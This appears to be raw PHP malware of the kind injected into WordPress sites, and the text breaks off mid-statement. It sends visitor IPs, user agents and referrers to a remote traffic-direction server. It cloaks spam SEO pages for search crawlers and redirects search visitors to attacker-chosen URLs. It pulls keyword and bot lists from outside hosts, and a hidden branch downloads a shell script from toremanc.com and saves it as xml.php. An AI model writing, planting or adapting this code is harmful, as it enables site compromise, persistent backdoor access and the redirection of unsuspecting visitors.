if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { @error_reporting(0); @ini_set('display_errors', 0); @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; /*config*/ $z_url = 'https://jughol.com'; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dmsnd.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dmsnd'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 1; $z_conf['em_lang'] = 1; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['rotator'] = 1; $z_conf['t_cookies'] = 3600; $z_conf['m_cookies'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']); $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']); $z_t_cookies = time() + $z_conf['t_cookies']; $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax'); if($z_conf['rotator'] == 1){ if(!isset($_COOKIE[$z_n_cookies])){ $z_counter = 0; if(phpversion() >= 7.3){ SetCookie($z_n_cookies, 0, $z_cookies_options); } else{ SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1); } if($z_conf['m_cookies'] == 1){ if(phpversion() >= 7.3){ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options); } else{ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1); } } } else{ $z_counter = $_COOKIE[$z_n_cookies] + 1; $z_uniq = 'no'; } } if(empty($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = $z_uniq; $z_request[8] = urlencode(trim($z_key)); $z_request[9] = trim($z_domain); $z_request[10] = trim($z_page); $z_request[11] = trim($z_cf_country); $z_request[12] = $z_options; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; if($z_conf['rotator'] == 1){ if(strstr($z_out, '|||')){ $z_out_ex = explode('|||', $z_out); if(!empty($z_out_ex[$z_counter])){ $z_out = trim($z_out_ex[$z_counter]); } else{ $z_out = trim($z_out_ex[0]); $z_counter = 0; } } else{ $z_counter = 0; } if($z_conf['rotator'] == 1 && $z_uniq == 'no'){ if(isset($_COOKIE[$z_n_cookies_exp])){ $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp]; } if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, $z_counter, $z_cookies_options); } else{ SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1); } } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://toremanc.com/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://toremanc.com/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://toremanc.com/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://toremanc.com/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://toremanc.com/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://toremanc.com/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts 